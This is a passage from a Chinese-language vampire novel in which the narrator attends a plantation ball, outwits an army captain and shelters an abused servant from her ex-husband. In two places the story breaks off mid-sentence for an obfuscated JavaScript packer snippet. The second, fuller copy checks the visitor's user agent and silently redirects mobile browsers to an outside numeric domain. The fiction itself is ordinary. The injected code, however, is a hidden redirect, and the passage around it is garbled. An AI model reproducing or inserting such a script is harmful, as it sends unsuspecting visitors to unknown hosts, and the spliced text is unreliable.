“我被囚禁的七年里，从我的囚禁者那里，不管是人类还是吸血鬼，收集到了不少消息。关于奴仆和雏儿的情况，你已经知道了。朝臣这个头衔更不正式，传统上是由所属的氏族授予的。在获得这个认可之前，吸血鬼必须掌握自身能力的几个方面，具体内容因氏族而异，反映了各个组织的理念和重点。比如，黑斯廷斯氏族要求完成一个复杂的项目，而罗兰氏族则基于在所选领域的能力。 我不知道你的创造者会要求你做什么才会认可你，而且我觉得这也没什么关系。 具体来说，朝臣是成年吸血鬼。大多数吸血鬼都处于这个阶段，因为要达到下一个阶段通常需要一个世纪左右。唯一真正不变的是，与雏儿不同，朝臣可以两天甚至更久不进食，而且能整夜保持清醒。 有抱负成为朝臣的吸血鬼通常会先提升自己的能力：魅惑、感知和行动。这些能力，再加上你们众多的弱点，将吸血鬼与其他凡人区分开来。” “你能详细说说吗？” “可以，”西尼德尖刻地回答，“我正要说到。你已经体验过了。魅惑能改变凡人的认知；感知顾名思义，而行动则能让你们展现出超自然的力量和速度。” “这些我都已经会了。” “我觉得还没达到你的最佳水平。比如，你之前查看的金字塔大门顶部有个小雕像。” 我惊讶地又看了看那座土丘，没错，白色石门顶部确实有个东西。我试图集中注意力看清楚，结果视线变得模糊，头也开始疼起来。 “这需要时间和练 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“好，这样最好。”我强忍着不耐烦回答，“反正我也需要休息一下。” 我回到营地，发现道尔顿几乎站着都能睡着了。 “女主人？” “你感觉怎么样，除了累之外？” “我的肋骨疼，赶路也没让情况变好。不过我会没事的。对了，小心西尼德。” “啊？” 道尔顿揉了揉眼睛，望向远方。 “我听说过他这样的人，是我奶奶告诉我的。我出生在更北边，我们家是爱尔兰人。她说起过一个像他这样的人，大眼睛，尖耳朵，头发亮闪闪的，颜色鲜艳得不像这个世界的。” 除了头发，听起来确实像利卡恩人。也许头发还会长回来？ “她叫他们精灵。她说他们喜欢玩乐，不是每个人都能从他们的游戏中幸存。他们残忍又冷酷。对他们来说，自己的快乐才是最重要的。我们的生命毫无价值，因为太短暂了，她是这么说的。小心点。西尼德可能既是受害者，也是加害者。” 我停下来，陷入沉思。我在乎吗？反正我也不想和这个人亲近。 “谢谢你，道尔顿。我们的交易已经达成了，不过我会记住他对人类的轻蔑。你该去睡觉了。你看起来疲惫不堪。” 我话音刚落，这个年轻人就倒在了他的小床上，几秒钟就睡着了。 我来到我们的帐篷，发现洛思正在自己的笔记本上写着什么。我走近时，他合上了本子。 “怎么了？” “我在想，既然我们的目标已经完成，接下来要做什么？” “我们要去定居点的边界，一个叫巴林顿堡的地方，明天应该能到。我们会向当局汇报我们的发现，然后在那儿和宾格尔以及那些定居者分开。然后我们回家，为你的狩猎做准备。啊，从一次突袭中回家的感觉真好，你懂的吧？不过我还想要更多战利品……” “那利卡恩人怎么办？” “他会和我们一起。等你回来的时候，他就走了。我会把他送上一艘去南美的船。” “好。嗯，就这些。我出去走走。” “玩得开心。”他露出一个带着掠夺意味的微笑回答道。 我走出去，远离其他人。到了山谷边缘，我开始奔跑。 终于独处了。这种感觉真好。能尽情释放，毫无顾忌地奔跑，无需马上狩猎，不用巡逻，也不用急着回去。只有我和这片土地。我享受着风吹在脸上的感觉，脚下的泥土和树根，还有夜晚充满生机的声音。我随心所欲地加速奔跑。有时，我的裙子会被勾住，或者会绊倒，但这并不影响我的兴致。我穿的裙子很结实，裹着的身体也是。整整一个小时，我毫无目的地在这片土地上慢跑、冲刺。 我还活着。 我的主人夺走了我的生命和未来，而我把这个诅咒变成了新的开始。我活了下来，坚持了下来，重新掌控了自己的命运。现在，我可以选择并开辟自己的道路。这会很艰难，但此刻，我可以尽情释放。 “哈哈哈！”我跑啊跑，不停地跑。直到黎明前一小时才折返，头脑清醒，头发里满是折断的小树枝。我看起来狂野不羁，但我毫不在意。 回到营地时，我感觉神清气爽，仿佛摆脱了所有的束缚。帐篷里，洛思已经睡了，呼吸平稳而深沉。我轻手轻脚地进去，不想吵醒他。在这宁静的夜晚，只有偶尔传来的几声虫鸣和远处马匹的嘶鸣声。 我躺在自己的铺位上，思绪却如脱缰的野马般奔腾不息。今天发生的事情太多了，从与克里克人的紧张对峙，到发现自己力量的惊人变化，再到了解到吸血鬼社群复杂的政治格局，每一件都让我应接不暇。 我想起了纳肖巴的请求，一周后的狩猎。我并不清楚等待我的会是什么，但我知道，这将是一次考验，一次对我新获得力量的检验。我必须做好准备，不仅是身体上的，还有心理上的。 还有西尼德的那些话，关于吸血鬼氏族和他们的等级制度。成为一名朝臣，这意味着更多的责任和权力，同时也伴随着更多的危险。我必须尽快掌握这些新能力，否则在这个充满危险的世界里，我将难以自保。 而道尔顿的警告，关于西尼德可能是精灵的说法，也在我脑海中挥之不去。如果他真的是精灵，那他的目的又是什么呢？他真的像道尔顿奶奶说的那样，残忍且冷酷吗？我决定要更加小心地观察他，不能轻易相信他。 想到这里，我翻了个身，试图让自己放松下来。明天还有很长的路要走，我需要休息。在渐渐入睡之际，我最后一个念头是，无论未来会怎样，我都不会退缩。我已经从一个被命运摆布的女孩，变成了一个能够掌控自己命运的吸血鬼，我会用自己的方式，在这个黑暗的世界里生存下去。 28. 舞会危机 “这是什么地方？”我一边从石棺中出来，一边问道。 “我们在蒂勒森种植园主宅里面，夫人。这可是方圆百里内最大、最奢华的庄园！这里的家具都是费城一位著名工匠打造的，光窗户就不少于四十扇。您瞧瞧前门廊那精美的科林斯柱，多漂亮啊。”道尔顿面无表情地说道。 还好吸血鬼苏醒时头脑清醒，这让我很庆幸。 “蒂勒森一家对这地方很是自豪吧？” “是的，夫人。他们详细地介绍了所有情况，足足花了一个小时，听得人烦死了。” “我猜我们白天的时候安全抵达巴林顿堡了？” “是的，夫人。” “那我们成为他们的客人是因为……？” “哎呀，夫人，科尼利厄斯·蒂勒森怎么会对塞西尔·卢瑟福·宾格尔先生这样的英勇营救之举毫无表示呢？他当然要把这位当下的英雄介绍给他那些阔气的朋友们！我们被邀请参加舞会啦。” “洛斯没办法离开吗？” “既没办法，也不愿意。我们两小时前才到，这个时候离开不太合理，而且还容易引人怀疑。” “引人怀疑又有什么关系？” “夫人，我们可不像宾格尔先生那样魅力十足。您想啊，那位勇敢的先生把很多功劳都算在我们头上。可我根本算不上英雄，洛斯又有点古怪。而且有好几个寡妇和老姑娘都喜欢他。我跟您说，刚到一个新地方第一天就抢别人的女人，这可不好。我希望您能施展您那传奇的说服力，把事情处理好。” 这次他说的“处理好”，可不是指把这儿的人都杀了。 “好吧，但我想先梳洗一下。” “我让仆人送水来。” 我住的卧室不大，但布置得很精致。房间没有什么人情味，谈不上温馨，但能看出布置时花了心思。我刚把头发里的树叶和小树枝清理干净，一个神色匆忙的黑人妇女就拖着一壶温水进来，然后一言不发地离开了。我组织过不少招待会，知道临时筹备一场活动有多累人，还吃力不讨好。 我戴好纳肖巴的耳环，又戴上珍珠母项链，这时口渴感袭来。可惜我穿的宝蓝色裙子太注重实用性，称不上优雅。不过至少剪裁合身，应该还能凑合。 我走出卧室，来到一条颇为宽敞的走廊，不得不承认，这地方给我留下了深刻的印象。蒂勒森家的豪宅确实很大，装修也很奢华。我觉得在这周围的布置上，他们花的钱多得有些离谱。不过作为客人，我还是很感激他们的用心，也不会多嘴评论。 道尔顿一直忠实地等我。我注意到他比平时整洁多了，胡子刮得干干净净，头发往后梳，还上了发蜡。他散发着一种深沉的魅力，是那种女儿到了适婚年龄，父亲们会提防的男人。一套剪裁得体的西装，让他从一个不法之徒摇身一变，成了浪子回头的公子哥。 很好。这个形象比之前体面多了，对他为我办事会有帮助。 “把你的胳膊伸给我。” “夫人？您……渴了吗？” “不是！好吧，是有点，但我不是这个意思。把胳膊伸给我，我们一起走。” “啊，明白了。” 我挽住他的胳膊，朝楼梯走去。我能听到楼下有很多人在欢声笑语，还能闻到酒精、活力和汗水的味道。此外，还有…… 我抬手示意道尔顿停下，然后敲了敲旁边的一扇门。 “打扰一下！有人吗？” 很快，一个满脸窘迫的管家打开了门。他一只手藏在背后，想掩饰他的“罪行”：半瓶没喝完的上等苏格兰威士忌。 “呃，小姐，有什么我可以帮忙的吗……” 我们目光交汇时，我用尽全力对他施展了催眠术。轻轻一推，他就向后倒进了屋里。 让我沮丧的是，他的领结挡住了脖子，我只能从他胳膊上吸血。算了，无所谓了。 吸完血后，我回到道尔顿身边，留下我的“供血者”沉浸在他一直渴望的恍惚状态中。如今这世道，好像哪儿都找不到靠谱的帮手。唉，今晚的进食问题解决了。 “西尼德去哪儿了？” “哦，他说这里的人类太脏，把空气都弄臭了，然后就去森林了。要是运气好，说不定会被狼吃掉……” “希望在那之前我能从他身上得到该得的！” “不过我觉得，过不了九个月，某个天真的姑娘就会生下一个头发怪异的孩子。” “……” 这话听起来有点私人恩怨的味道。我开始怀疑他家里是不是有人和不该在一起的物种有过纠葛。嗯，这些想法还是等以后再说吧，我们已经快到目的地了。 舞厅在庄园的后部，看起来派对已经热闹非凡。一群群狂欢的人从主厅涌出来，通过敞开的法式落地窗，一直蔓延到花园里。我注意到，那些富有的地主们穿着颜色淡雅、款式保守但价格不菲的衣服，同时也有不少身着深蓝色军装的人，他们的衣服颜色和我的裙子很相近。我不禁怀疑洛斯是不是故意这么安排的？以那个狡猾的老家伙的性格，这也不奇怪。 在入口处，一个趾高气昂的管家拦住了我们。他一脸傲慢，从他皱着的眉头就能看出他有多自负。 他明显带着怀疑的眼神打量着道尔顿。不过我似乎通过了某种“考验”。在南方，通过一个人的皮肤状况很容易判断他们的社会地位。任何皮肤白皙健康的人，都是白天躲起来，晚上才活动，这样的人肯定很有钱。 我的裙子、低调的首饰，还有我的仪态，都强化了这种有钱人的形象。不到半秒，这个门卫就认定我是有身份的人。 “请问我该通报哪位？” “阿丽亚娜·德莱尼。” “哦！您是……嗯。请原谅我。” 这个男人因为自己的失礼而显得有些慌乱。好吧，我也不能怪他，因为我已经听到洛斯那响亮的笑声了。 “阿丽亚娜·德莱尼小姐到！”这个男人向众人通报，然而大部分人都没什么反应…… 为什么大家都盯着我看？ “德莱尼小姐，这边！”宾格尔在房间中央喊道。 我绕过几群人，微笑着向和我目光交汇的客人点头致意。道尔顿像影子一样跟着我，然后融入了人群中，没人注意到他。 很快，我来到一群人面前，我猜他们就是今晚这场意外庆祝活动的组织者。我顺便注意到，宾格尔身边没有罗斯。我希望她没受到冷落。 “德莱尼小姐，见到你真高兴！来，让我给你介绍一下我们非常出色、慷慨的主人：科尼利厄斯·蒂勒森。” 他指了指一个乐呵呵的男人，那人留着一大把灰白的胡须和八字胡。他那身剪裁精良的西装都快裹不住他的啤酒肚了，鼻子已经红通通的，酒杯也是空的，我敢打赌，这可不是他今晚喝的第一杯。这位庄园主人看起来是个很会享受的人。 “……莉迪亚·蒂勒森……” 他的妻子比他年轻很多，既美丽又优雅。她的头发有些许灰白，是成熟美人的典型形象。洛斯肯定会喜欢。 她身上有□□的味道。这很有意思，因为她丈夫身上没有。 “……还有他们的女儿塞西莉！” 这群人里的最后一位，很不幸，继承了她父亲的特征，不过我见过比她更难看的。她虽然长相不出众，但自信满满，她那双善于算计的眼睛透露出她很聪明。 介绍完之后，我行了屈膝礼，结果科尼利厄斯却突然把手伸到我面前。 我伸出手，本以为他会礼貌地亲吻一下，没想到他却像要从我手里挤出油来似的使劲握手。 “今晚的女英雄！宾格尔跟我说起过你的勇气！你可是美国女性的真正典范，不像那些英国佬喜欢的柔弱女子，哈哈！” “哈哈。宾格尔先生肯定是夸大其词了。大部分工作都是他和我叔叔做的。” “他还说你很谦虚。”他狡黠地笑着回答。 “科尼，亲爱的，别缠着这位可怜的女士了，你会吓到她的！” “你真的骗过一屋子的守卫，还打倒了其中一个吗？” 他怎么说得这么粗俗？ “嗯，有两个守卫。另一个在看守道尔顿。” “哈！哈哈哈哈，上帝啊，宾格尔，你可漏说了这一段！太谢谢你了，姑娘，我好久没这么开心地笑过了。现在，你和塞西莉去和年轻人一起玩吧，我们这些老家伙就回忆回忆过去！要是我不给朋友们的儿子们追求你的机会，他们可不会原谅我。去吧！尽情享受，玩得开心点，转完一圈再回来找我们！” 年轻的塞西莉立刻挽起我的胳膊，而科尼利厄斯和宾格尔在女主人宽容的目光下，继续他们之前的谈话。她拉着我从一群人走到另一群人中间，给我介绍了好多人，我都记不住了。我用尽浑身解数，带着迷人的微笑和耐心，回答着一连串重复的问题。我订婚了吗？没有，但有追求者。我是不是真的操纵了一群男人，还对其中一个使用了暴力，就为了救我叔叔和那位冒险家？确实是这样。有人听说我近距离用手枪指着别人的脸开枪。最后这个谣言，我怎么否认都没用，不过这让我在士兵和年轻人中很受欢迎，但在房间里那些比较保守的人眼里，就不那么讨喜了。不知为什么，女人们对我特别热情。我敢打赌，她们中有不少人觉得用棍棒打竞争对手是一种很解气的事。 我刚从一群满脸不满的老姑娘那里走开，就从眼角的余光里看到道尔顿在疯狂地朝几个方向打手势，示意我有情况。 啊，看来我被盯上了。几个穿军装的男人正穿过人群朝我走来。我一眼就认出了领头的，因为他衣服上的装饰最闪亮。我立刻转身停下。 “怎么了？”塞西莉问道。 “有人等不及要和我说话了。” 值得称赞的是，我的同伴没有再追问，而是靠我更近了些，和我站成统一战线。 不一会儿，一个面容整洁、有着深邃棕色眼睛的高个子军官从一群客人中走了出来。尽管天气闷热，他还是戴着一顶扑了粉的白色假发。我不知道他这样是出于虚荣还是对礼仪的执着。他皱着眉头看向我。 没错，我料到你会来。但我没想到的是，你身上会有□□的味道，还有莉迪亚·蒂勒森的味道。作为客人，他这么做太过分了，这让我真想杀了他。 “德莱尼小姐？” “什么事？” “请你……” “你是谁？” 我的打断让这个男人气得脸都抽搐了。这是我从爸爸那里学来的小技巧。有权有势的人不习惯被人反驳。一旦被人阻挠，他们的第一反应往往是威胁。 “我是美国陆军的兰斯上尉，你最好跟我走一趟。” “有什么问题吗，乔纳斯？”我旁边的塞西莉问道。 乔纳斯，你刚失去了主场优势，看看我能不能把优势夺过来吧。 “我有些问题想问你的客人，没什么大事，我向你保证。”军官勉强挤出一丝微笑说道。 “那你就在这儿问吧。”我大声提议道。一些人开始朝我们这边看过来，他们感觉到了我们之间紧张的气氛。塞西莉没有帮她熟悉的人，而是支持我，换作以前我可能会很惊讶，但现在不会了。在兰卡斯特家的那段日子让我明白，人们总是急于利用新来的人，把他们当作 ongoing conflict的工具。这位刻板的军官似乎不是第一次犯这种错了，而塞西莉也不是我能轻易得罪的人。 现在看看他是继续纠缠还是知难而退吧。 “德莱尼小姐，你叔叔的故事让我印象深刻。你没必要这么有敌意。我只是想澄清几个问题。作为那些荒蛮之地的执法人员，我有责任弄清楚你这段非凡的经历。” 这个凡人还挺会给自己找台阶下。 “我注意到你还没开始问问题呢。” “德莱尼小姐，你这么咄咄逼人对你没好处，这看起来很可疑。” “我承认，我确实没耐心了。乔纳斯，有什么问题就赶紧问，问完就走，我们还有很多客人要招呼呢。” 可怜的乔纳斯。你动不了我，这我们都清楚。 “……好吧。你和那个叫‘英勇同伴’的不法之徒团伙是什么关系？” “没什么关系。” “真的吗？”他冷笑道，“那你怎么解释你和其中一个成员手挽手来这儿的事？” “你说的是谁？”我立刻反问道。我的迅速回击让他措手不及。如果他以为我会愧疚、害怕，那他可要失望了。 “别装糊涂。我说的是道尔顿先生。” “他是‘英勇同伴’的成员？” “……是的。” “奇怪，那我觉得他现在应该被锁起来才对，毕竟他是个不法之徒，不是吗？” 他沉默了。 我知道我在玩一场危险的游戏。最好的办法是避免冲突。但那样的话，他们今晚就会一直想办法刁难我，我可不会让这种事发生。 “道尔顿先生的赦免并不能让他在上帝面前免受惩罚。” “那我想这是他们之间的事了，还有别的事吗？” “……事实上，还有。我很难相信一个对古代文献感兴趣的女人，能操纵一屋子的守卫，还一下子就打倒了其中一个。” “先生，你想错了。我在让男人听我指挥这方面，可有不少经验。” 我的话引来了周围一群人的轻笑。在这种情况下，机智比诚实更有用。 “至于打倒守卫，我出身于一个猎人世家。人的后颈一直都是个薄弱部位。” “确实。你们俩还真是有趣。说起来……” 这位军官又接连问了一堆关于洛斯、我，还有我们之间关系的问题。我不知道他期望得到什么样的答案。我六个月前就塑造了阿丽亚娜·德莱尼这个身份。我对这个角色的了解，就像一个经验丰富的演员熟悉自己最拿手的角色一样。 问了六七个问题后，这个男人终于罢休，礼貌地告辞离开了。我看着他的背影消失在人群中，刚才围观我们争吵的人也各自回到了自己的圈子里。我们明天就离开这儿，应该不会有什么问题了。 “你没事吧，阿丽亚娜？” 我深深地叹了口气。 “很抱歉刚才表现得那么有敌意。我不是故意要破坏派对的气氛，但我实在不能就这么站着，任由他无耻地指责我。” “别这么说，我的朋友，该道歉的是我。兰斯上尉那过度的热情给我们带来了不少麻烦。他处理任何问题都既刻板又愚蠢，让大家都很头疼。只要能维护他那所谓的宝贵法律，他才不在乎会引发多少纷争和痛苦呢。” “‘哪怕天塌下来，也要实现正义’？” “没错。在我看来，正义应该是为了公共利益。如果我们在惩罚的同时还能给予救赎，这个世界会变得更美好。但他的做法只会让我们一无所有。” 我们继续在人群中周旋，不过我能看出，和我聊过之后，塞西莉的心情变得很差。她对兰斯上尉的厌恶可不是一点半点。 我们刚把喝得醉醺醺的“叔叔”留给三位成熟的女士，道尔顿就过来拦住了我们。 “很抱歉打扰您，夫人。罗斯需要您的帮助。” “她需要我？塞西莉，实在不好意思，我得先离开一下。” “哦，别在意我，阿丽亚娜。这一个小时我都没尽到地主之谊。出去透透气对我有好处。你去忙吧，玩得开心点！” “谢谢你，塞西莉，我们回头再聊。” 道尔顿带着我通过一条 servants access来到厨房，里面的工作人员忙得不可开交，然后我们又穿过一条侧廊。一路上没人过问我们。 “你和这里的工作人员很熟吗？” “是的，在您来之前，我帮他们筹备过派对。” “做得好，我的仆人。” 道尔顿微微颤抖了一下。 “谢谢您，夫人。就在那边。” 我跟着道尔顿走进一个房间，这房间看起来和我的房间很像。我们还在一楼，也就是说这是客房区。我惊讶地发现罗斯和一个穿着灰色裙子、看起来很腼腆的年轻女子在一起，那女子正坐在一把大扶手椅上。我一进去，罗斯就轻轻拍了拍她同伴的手，笨拙地想要安慰她。 罗斯很担心，而那个女孩则惊恐万分。我能看出来，也能闻出来。真奇怪。 “怎么回事？” “罗斯……”新来的女孩说道，“我很感谢你，但是我必须请求……” “好的，好的，我会照你说的做，虽然我不太赞成。阿丽亚娜，我把这位年轻小姐交给你了，我回舞厅去。事情办得怎么样，记得告诉我。” 罗斯说完就离开了，关上了门。我什么也没说，因为她身上的香水味让我确定，那个女孩也是个仆人。 在与世隔绝了六个月之后，还是有人找到我了。 我还没来得及决定该怎么办，那个年轻女子就站了起来，鼓起勇气，跪在地上，露出脖子，做出传统的恳求姿势。我怎么会没注意到她颈动脉上那两道细细的伤疤呢？她为什么会来找我？ 仆人能成为别人的恳求者吗？这算不算是背叛？ 仆人是特殊的，他们不是牲畜或猎物，而是值得信任的助手和伙伴。我对她的感觉，和对鲍德温的有那么一丝相似：不愿伤害她，就好像触碰她是一种禁忌。我现在明白了他们性格中至关重要的一点：仆人是出于自愿的。道尔顿是自愿选择了我，他完全清楚我是谁、是什么，这个女人也是一样。她向我求助，是因为我是吸血鬼，在她看来，吸血鬼是可以信任的。 我决定了，只要能保证自身安全，我就帮她。优秀的仆人非常难得，保护一个同类的仆人，也算是…… 就说是职业操守吧。虽然没人强迫我这么做，但为了以后能收获善意，我还是会帮忙的。 没错，我能从灵魂深处感觉到。我不再有危险了。恳求者对我来说没有威胁，因为他们寻求我的力量，作为交换，我总能提出足够的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15054935|162875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条件来保护自己。 “说吧。” “我叫伊内斯。我作为主人的使者来这里处理一些事务。但不幸的是，我的前夫跟踪我到了这里。” 恐惧，不，是极度的恐惧笼罩着她的脸。我再仔细一看，发现她右眉上有一道伤疤，还有骨头愈合不良的痕迹。她左颧骨和嘴唇上也有褪色的伤痕。即便不看她的身体，我也知道她遭受过可怕的虐待。 “我猜你们分手时不太愉快？” 伊内斯发出一声哽咽的笑声，很快又变成了抽泣。真烦人。虚弱的仆人，还受了伤。不过，我能保护她，让她冷静下来，而且我知道该怎么做。 我走近她，把手放在她头顶，轻轻抚摸着她的皮肤，用爪子拨开她的发丝。慢慢地，她恢复了一些平静。 “谢谢您，夫人。我…… 他，他是来抓我的。还带着他的兄弟和仆人。我看到他了。我躲起来了，但他会找到我的。他永远都不会放过我！” “嘘。我猜你的主人在保护你吧？” “是的。罗德里戈被警告过，甚至还受到了惩罚，但他从不接受拒绝，以后也不会。哦，要是我的主人知道了这件事…… 唉，现在说这些也没用了。我的仇人现在就在这儿。我活不到报仇的那一天了，他那扭曲的荣誉感让他觉得必须杀了我！他说过，如果我不属于他，别人也别想得到我。” “冷静点，伊内斯。”我赶忙说道，“说出你的请求吧。” “夫人，我不能寻求凡人的保护。大多数法官都认为婚姻是至死不渝的，很多人会把我送回丈夫身边受罚！请您保护我！” 果然如我所料。 “如果我保证你今晚的安全，你能给我什么？” “不能给您血，我不能…… 我一无所有…… 我可以为您做件事，夫人！求求您，我求您了。苏亚雷斯勋爵一向恩怨分明。” 我从没听说过这个人，这意味着他很可能是查尔斯顿的某个吸血鬼。我现在有一个难得的机会，可以和他们建立联系，以后或许能派上用场，而我只需要保护这个凡人，这很可能是件好事。 “你和你的主人要为我做一件事，并且保守秘密。我不想让别人知道我在这里。” “好的，我保证。如果您救了我，我们会严守您的秘密！我敢拿我的命打赌，苏亚雷斯勋爵会同意的。” “成交。现在，赶紧躲到床后面去，你也一样，道尔顿。快。” 他们像真正的仆人一样，迅速而顺从地照做了。我一边叹气，一边解开连衣裙领口的扣子，把肩膀处的衣服往下拉。原本轻松的夜晚怎么变成这样了？这是宾格尔效应的延续吗？ 那个男人难道会传染麻烦？ 脚步声越来越近，过去一分钟里，我一直听到这些脚步声在各个房间嘈杂地寻找着什么。我的门被一个高大健壮、身着黑衣的男人猛地撞开。在我转身用衣服遮住裸露的胸部之前，我看到了他温暖的棕色眼睛、小胡子和络腮胡。 “哦，不！对不起！” 道歉有点太晚了，先生。 “啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊啊！” 闯入者猛地关上门，落荒而逃，把他的“猎物”和尊严都丢在了这里。得确保他不会再回来。 “变态！救命！救命啊！” 我听到远处传来咒骂声。我冲到窗边，看到一个身影消失在修剪整齐的花园角落里的树林中。 我扣好连衣裙的扣子，这时仆人们从藏身之处走了出来。道尔顿看起来很得意。 “我觉得他今晚不会再来了，夫人。” “你错了，亲爱的道尔顿。像他这样的人是不会轻易放弃的。” 我们把伊内斯带到对面的卧室，幸好那间没人，让她把自己锁在里面，等我们的消息。等我们忙完，之前给我通报的管家皱着眉头朝我们走来。 “刚才是你在尖叫吗？发生什么事了？” “一个陌生人闯进了我正在整理衣服的卧室！这太不像话了！” 我带着一丝期待，详细地描述了那个闯入者。当然，我可以去追那个人，把他制服，甚至杀了他。但这有风险，就算尸体消失了也不行。 不过，没必要这么做。我甚至都不用亲自动手。以后有的是机会施暴和狩猎。现在，需要一个优雅的解决办法。 “你是说这里有闯入者？在蒂勒森家的房子里？”管家愤怒地回应道。 “我往窗外看，看到一个黑影朝墙边走去，先生。我好害怕！难道在这个文明之地，我们都不安全了吗？” 如果这个男人再把胸膛挺得高一点，估计就要爆炸了。 “这绝对不能容忍。罗杰斯，跟我来，看看是怎么回事。” “先生，您一定要小心！” 我们按原路返回。在到达厨房之前，我们转向一扇显然是用来送货的侧门，穿了过去。我和几个仆人在一旁等着，管家、一个强壮的老头，还有道尔顿悄悄地走进了树林。 不到一分钟，他们就匆匆跑了回来。 管家走到我们面前，看起来有点不知所措。我那得力的仆人主动站了出来。 “有一辆装满人的马车，阿丽亚娜夫人，还有好几匹马。我数了一下，有四个人，这房子周围可能还有更多。他们拿着棍棒。” “我们被土匪包围了！我得去通知蒂勒森先生。” “不，他们不是土匪。他们只派了一个人来探探情况，而且他们的武器只是用来打人，不是杀人的。他们在找什么人。”我补充道。 管家一脸疑惑地看着我。在他进一步探究我对非法活动的了解之前，我把话题引向了更有趣的方向。 “是时候找人支援了，先生。我建议我们向士兵求助。”我说着，转身准备离开。道尔顿立刻跟上，而这个可怜的管家被我们召集的一小群仆人簇拥着，也只能跟着走。人们开始兴奋地窃窃私语。 我们绕过庄园的一个角落，来到后面。不出所料，派对的人群已经蔓延到这里，一大群喝醉的士兵和男性地主正在看一个穿着不合身制服、贼眉鼠眼的下士表演杂耍，他同时抛接好几把刀，令人惊叹。 “呃，先生们，打扰一下！” 二十多个人把目光投向了我。 “非常抱歉打扰你们的夜晚，但现在情况紧急，我们需要你们的帮助。”我谦卑地说道。然后我转向身边的管家。 “呃，是的！先生们，我叫乔纳森，是这座庄园的管家。我们发现了一群不怀好意的……” 我看着他讲述事情的经过，这群醉汉的思维很快就被引向了暴力。我正在朝着我的目标前进，而且还没动用任何吸血鬼的能力。这既有趣又让人有成就感！管家一讲完，我就决定把人群的情绪往正确的方向引导。 “请你们这些勇敢的士兵保护我们好吗？谁知道那些无赖在打什么主意！他们可能是来绑架女人的！” “有威胁？有挑战？这才是我喜欢的派对！”一个留着蜡制八字胡的红发中尉喊道，“威尔金斯，带你的人去后门口，包抄过去。杰克逊，你和你的人从送货的路过去。其他人跟我来。一交上手，就冲上去。” “是，长官！” 这群醉得最厉害的人以惊人的速度悄悄向前走去。我跟在后面，保持着一段安全的距离，道尔顿、管家，还有不少平民也加入了他们临时拼凑的队伍。 不一会儿，这群人就消失在了树林里，只有那个贼眉鼠眼的人爬上了一棵树。一分钟过去了，我的听力捕捉到了沉重的呼吸声和沙沙的响动，直到中尉的声音打破了相对的寂静。 “晚上好啊，伙计们！” 紧接着，喊杀声、冲锋声、反击声和激烈的混战声响起，短短二十秒后又归于平静。没过多久，一队人从花园门口回来了。士兵们押着几个被捆绑起来的俘虏，排着队。我花时间逐个向他们表示祝贺，听他们吹嘘自己的英勇表现。干得好，我的傀儡们。我很满意。没错，非常满意。这次行动没有人受重伤。可怜的乔纳森脸上已经开始出现一块明显的瘀伤，但这似乎丝毫没有减少他的自豪感。干得好，我的手下们，真的干得很好。 “你们搞错了！我们来这里是为了执行一项正义的使命，要找回一个骗子和□□！她逃不掉的！”伊内斯的前夫喊道。 “这么说你们就是冲着女人来的！”在他重新掌控局面之前，我立刻反驳道。我的指责引发了众人义愤填膺的怒吼。没错，他们怎么敢偷偷摸摸地来抢你们的女人…… “别担心，‘朋友’，你很快就会把我们想知道的都说出来。来吧，伙计们，去兵营！” 士兵们欢呼着胜利离开了，而兴高采烈的平民们则举杯庆祝他们辉煌的胜利和战斗实力。很快，敌人就被描述成了几十个人，个个都像巨人一样高大，还带着足以装备一个骠骑兵团的刀剑。啊，当男性的自尊心和酒精碰撞在一起，就能编出这么精彩的故事。 我交叉着双臂，心满意足。正如人们所说，事情就这样解决了。 29. 暗夜猎杀 我正往庄园走去，罗斯惊慌失措地冲了出来。她一眼就看到了我，立刻朝我跑来。从她通红的脸颊可以看出，她已经跑了好一会儿了。 她身上还散发着腐臭的血腥味。 天哪，今晚这是怎么了？我就不能安安静静地享受这场派对吗？就一个晚上，让世界自行太平点，这要求过分吗？ “阿丽小姐，你叔叔找你，他被人挑战进行一场射击比赛，现在已经变成了一场三对三的公开对决。大家都在等你呢！” 不是吧…… 真的假的！ 我抬头望向“沉默守望者”，心里想着“你能相信这事儿吗？”我隐约感觉它也对此无语。好吧，这反应很合理。 “道尔顿，带着伊内兹，确保她的安全。可能还有其他人。” “好的，女主人。” “还有，道尔顿，小心点，我的亲信。” “我会的。” 他二话不说就离开了。有他在身边，我真是幸运。要是没有他帮忙，我之前是怎么在社交场合周旋的呢？ 啊，对了，过去六个月我一直像个隐士一样生活，根本没怎么参与社交。 我大步朝房子前面走去，路过时发现舞厅空无一人。这就解释了为什么士兵们凯旋而归时，我们没得到什么反应，其他宾客都没听到我们的动静。 庄园前面的花园是一片精心打理的草坪。参加派对的人在两个靶子周围围成了一个半圆。我叔叔和他那三个咯咯直笑的女伴站在左前方，而拉纳上尉和他的三个跟班则在右边与他们对峙。赛西莉站在中间，正在拉小提琴。在远处，有人立了两个练习射击的假人。它们离人群至少有三十步远，周围还点着火把。 我简直不敢相信自己的眼睛，他们居然来真的。 洛思注意到了我，还厚着脸皮对我眨了眨眼。我翻了个白眼，走到草坪上和他站在一起，能感觉到众人的目光沉甸甸地压在我的背上。 我转过身，半圆的中心站着我们的主人和贵宾宾格尔。不过，当我们目光交汇时，他看起来有点心烦意乱，还极其尴尬又夸张地点了点头，这是我收到过最奇怪的点头礼。 赛西莉演奏完了她的曲目，表演得很不错，然后她走到了父母身边。洛思从他临时组建的“后宫”中脱身，大摇大摆地向前走去。他洪亮的声音很快在这片空地上回荡开来。 